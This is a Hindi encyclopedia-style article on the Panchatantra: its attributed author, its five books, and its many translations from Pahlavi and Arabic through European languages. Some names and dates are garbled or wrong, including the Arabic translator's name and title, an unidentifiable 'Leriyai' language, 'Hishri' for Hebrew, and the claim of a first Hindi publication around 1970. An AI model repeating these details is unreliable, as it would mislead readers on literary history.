पंचतंत्र

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भारतीय साहित्य की नीति कथाओं का विश्व में महत्वपूर्ण स्थान है। पंचतंत्र उनमें प्रमुख है। पंचतंत्र को संस्कृत भाषा में पांच निबंध या अध्याय भी कहा जाता है। उपदेशप्रद भारतीय पशुकथाओं का संग्रह, जो अपने मूल देश तथा पूरे विश्व में व्यापक रूप से प्रसारित हुआ। यूरोप में इस पुस्तक को द फ़ेबल्स ऑफ़ बिदपाई[1] के नाम से जाना जाता है। इसका एक संस्करण वहाँ 11वीं शताब्दी में ही पहुँच गया था।

संस्कृत में रचित पंचतंत्र

संस्कृत में रचित पंचतंत्र

सिद्धांत रूप में पंचतंत्र नीति की पाठ्य पुस्तक[2] के रूप में रचा गया है; इसकी सूक्तियाँ परोपकार की जगह चतुराई और घाघपन को महिमामंडित करती जान पड़ती है। इसके मूल ग्रंथ संस्कृत गद्य और छंद पदों का मिश्रण है, जिसके पांच भागों में से एक में कथाएँ है। इसकी भूमिका में समूची पुस्तक के सार को समेंटा गया है। पं॰ विष्णु शर्मा नामक एक विद्वान ब्राह्मण को इन कहानियों का रचयिता बताया गया है, जिसने उपदेशप्रद पशुकथाओं के माध्यम से एक राजा के तीन मंदबुद्धि बेटों को शिक्षित करने के लिए इस पुस्तक की रचना की थी। प्रमाणों के आधार पर इस ग्रंथ की रचना के समय उनकी उम्र 80 वर्ष के करीब थी।

पंचतंत्र नाम

पांच अध्याय में लिखे जाने के कारण इस पुस्तक का नाम पंचतंत्र रखा गया। इस किताब में जानवरों को पात्र बना कर शिक्षाप्रद बातें लिखी गई हैं। इसमें मुख्यत: पिंगलक नामक सिंह के सियार मंत्री के दो बेटों दमनक और करटक के बीच के संवादों और कथाओं के जरिए व्यावहारिक ज्ञान की शिक्षा दी गई है। सभी कहानियां प्राय: करटक और दमनक के मुंह से सुनाई गई हैं। पंचतंत्र के पांच अध्याय (तंत्र/भाग) है।

  1. मित्रभेद (मित्रों में मनमुटाव एवं अलगाव)
  2. मित्रलाभ या मित्रसंप्राप्ति (मित्र प्राप्ति एवं उसके लाभ)
  3. काकोलुकीयम् (कौवे एवं उल्लुओं की कथा)
  4. लब्धप्रणाश (मृत्यु या विनाश के आने पर; यदि जान पर आ बने तो क्या?)
  5. अपरीक्षित कारक (जिसको परखा नहीं गया हो उसे करने से पहले सावधान रहें; हड़बड़ी में कदम न उठायें)

इस पुस्तक की महत्ता इसी से प्रतिपादित होती है कि इसका अनुवाद विश्व की लगभग हर भाषा में हो चुका है। मूल रूप में संस्कृत में रचित इस ग्रंथ का हिंदी भाषा में प्रकाशन कई विदेशी भाषाओं में प्रकाशन के बाद हुआ। अब विलुप्त हो चुकी पंचतंत्र की मूल संस्कृत कृति संभवत: 100 ई.पू. से 500 ई. के बीच किसी समय अस्तित्व में आई थी।

पंचतंत्र का अन्य भाषाओ में अनुवाद

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छठी शताब्दी (550 ई.) में जब ईरान सम्राट ‘खुसरू’ के राजवैद्य और मंत्री ने ‘पंचतंत्र’ को अमृत कहा। ईरानी राजवैद्य बुर्ज़ों ने किसी पुस्तक में यह पढ़ा था कि भारत में एक संजीवनी बूटी होती है जिससे मूर्ख व्यक्ति को भी नीति-निपुण किया जा सकता है। इसी बूटी की तलाश में वह राजवैद्य ईरान से चलकर भारत आया और उसने संजीवनी की खोज शुरू कर दी। उस वैद्य को जब कहीं संजीवनी नहीं मिली तो वह निराश होकर एक भारतीय विद्वान के पास पहुंचा और अपनी सारी परेशानी बताई। तब उस विद्वान ने कहा- ‘देखो मित्र ! इमसें निराश होने की बात नहीं, भारत में एक संजीवनी नहीं, बल्कि संजीवनियों के पहाड़ हैं उनमें आपको अनेक संजीवनियां मिलेंगी। हमारे पास ‘पंचतंत्र’ नाम का एक ऐसा ग्रंथ है जिसके द्वारा मूर्ख अज्ञानी[3] लोग नया जीवन प्राप्त कर लेते हैं।’’ ईरानी राजवैद्य यह सुनकर अति प्रसन्न हुआ और उस विद्वान से पंचतंत्र की एक प्रति लेकर वापस ईरान चला गया, उस संस्कृत कृति का अनुवाद उसने पहलवी[4] में करके अपनी प्रजा को एक अमूल्य उपहार दिया। हालांकि यह कृति भी अब खो चुकी है।

लेरियाई भाषा में अनुवाद

यह था पंचतंत्र का पहला अनुवाद जिसने विदेशों में अपनी सफलता और लोकप्रियता की धूम मचानी प्रारंभ कर दी। इसकी लोकप्रियता का यह परिणाम था कि बहुत जल्द ही पंचतंत्र का ‘लेरियाई’ भाषा में अनुवाद करके प्रकाशित किया गया, यह संस्करण 570 ई. में प्रकाशित हुआ था।

अरबी में अनुवाद

आठवीं शताब्दी (मृ.-760 ई.) में पंचतंत्र की पहलवी अनुवाद के आधार पर ‘अब्दुलाइन्तछुएमुरक्का’ ने इसका अरबी अनुवाद किया जिसका अरबी नाम ‘मोल्ली व दिमन’ रख गया। आश्चर्य और खुशी की बात तो यह है कि यह ग्रन्थ आज भी अरबी भाषा के सबसे लोकप्रिय ग्रन्थों में एक माना जाता है।

यूरोपीय अनुवाद

इसका सीरियाई अनुवाद, में इसे दो सियारों की पहली कहानी के आधार पर "कलिलाह वा दिमनाह" के नाम से जाना जाता है। "कलिलाह वा दिमनाह" का दूसरा सीरियाई संस्करण और 11 वीं शताब्दी का यूनानी संस्करण स्टेफ़्नाइट्स काई इचनेलेट्स समेत कई अन्य संस्करण प्रकाशित हुए, जिनके लैटिन एवं विभिन्न स्लावियाई भाषाओं में इसका अनुवाद हुआ। लेकिन अधिकांश यूरोपीय संस्करणों का स्त्रो 12 वीं शताब्दी में रैबाई जोएल द्वारा अनुदिन हिब्रू संस्करण है।

पंचतंत्र की लोकप्रियता

पंचतंत्र का अरबी अनुवाद होते ही पंचतंत्र की लोकप्रियता बहुत तेजी से बढ़ने लगी। अरब देशों से पंचतंत्र का सफर तेजी से बढ़ा और ग्यारहवीं सदी में इसका अनुवाद यूनानी भाषा में होते ही इसे रूसी भाषा में भी प्रकाशित किया गया। रूसी अनुवाद के साथ पंचतंत्र ने यूरोप की ओर अपने कदम बढ़ाए, यूरोप की भाषाओं में प्रकाशित होकर पंचतंत्र जब लोकप्रियता के शिखर को छू रहा था तो 1251 ई. में इसका अनुवाद स्पैनिश भाषा में हुआ, यही नहीं विश्व की एक अन्य भाषा हिश्री जो प्राचीन भाषाओं में एक मानी जाती हैं, में अनुवाद प्रकाशित होते ही पंचतंत्र की लोकप्रियता और भी बढ़ गई।

जर्मन भाषा में

1260 में ई. में इटली के कपुआ नगर में रहने वाले एक यहूदी विद्वान ने जब पंचतंत्र को पढ़ा तो लैटिन भाषा में अनुवाद करके अपने देशवासियों को उपहार स्वरूप यह रचना भेंट करते हुए उसने कहा, ‘साहित्य में ज्ञानवर्धन, मनोरंजक व रोचक रचना इससे अच्छी कोई और हो ही नहीं सकती। इसी अनुवाद से प्रभावित होकर 1480 में पंचतंत्र का ‘जर्मन’ अनुवाद प्रकाशित हुआ, जो इतना अधिक लोकप्रिय हुआ कि एक वर्ष में ही इसके कई संस्करण बिक गए। जर्मन भाषा में इसकी सफलता को देखते हुए ‘चेक’ और ‘इटली’ के देशों में भी पंचतंत्र के अनुवाद प्रकाशित होने लगे।

हितोपदेश

इसका 15 वीं शताब्दी का ईरानी[5] संस्करण अनवर ए सुहेली पर आधारित है। पंचतंत्र की कहानियाँ जावा के पुराने लिखित साहित्य और संभवत: मौखिक रूप से भी इंडोनेशिया तक पहुँची। भारत में 12 वीं शताब्दी में नारायण द्वारा रचित "हितोपदेश"[6], जो अधिकांशत: बंगाल में प्रसारित हुआ, पंचतंत्र की साम्रगी की एक स्वतंत्र प्रस्तुति जान पड़ता है।

इटैलियन, फ्रेंच भाषा में

1552 ई. में पंचतंत्र का जो अनुवाद इटैलियन भाषा में हुआ, इसी से 1570 ई. में सर टामस नार्थ ने इसका पहला अनुवाद तैयार किया, जिसका पहला संस्करण बहुत सफल हुआ और 1601 ई. में इसका दूसरा संस्करण प्रकाशित हुआ। यह बात तो बड़े-बड़े देशों की भाषाओं की थी। फ्रेंच भाषा में तो पंचतंत्र के प्रकाशित होते ही वहां के लोगों में एक हलचल सी मच गई। किसी को विश्वास ही नहीं हो रहा था कि कोई लेखक पशु-पक्षियों के मुख से वर्णित इतनी मनोरंजक तथा ज्ञानवर्धक कहानियां भी लिख सकता है।

सफलता और संस्करण

इसी प्रकार से पंचतंत्र ने अपना सफर जारी रखा, नेपाली, चीनी, ब्राह्मी, जापानी, भाषाओं में भी जो संस्करण प्रकाशित हुए उन्हें भी बहुत सफलता मिली। रह गई हिन्दी भाषा, इसे कहते हैं कि अपने ही घर में लोग परदेसी बन कर आते हैं। 1970 ई. के लगभग यह हिन्दी में प्रकाशित हुआ और हिन्दी साहित्य जगत में छा गया। इसका प्रकाश आज भी जन-मानस को नई राह दिखा रहा है और शायद युगों-युगों तक दिखाता ही रहे।


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टीका टिप्पणी और संदर्भ

  1. कथावाचक भारतीय साधु बिदपाई के नाम पर, जिन्हें संस्कृत में विद्यापति भी कहते हैं।
  2. विशेषकर राजाओं और राजपुरूषों के लिये
  3. हम विद्वान जिन्हें मृतप्राय ही समझते हैं
  4. मध्य फ़ारसी
  5. फ़ारसी
  6. लाभकारी परामर्श

बाहरी कड़ियाँ

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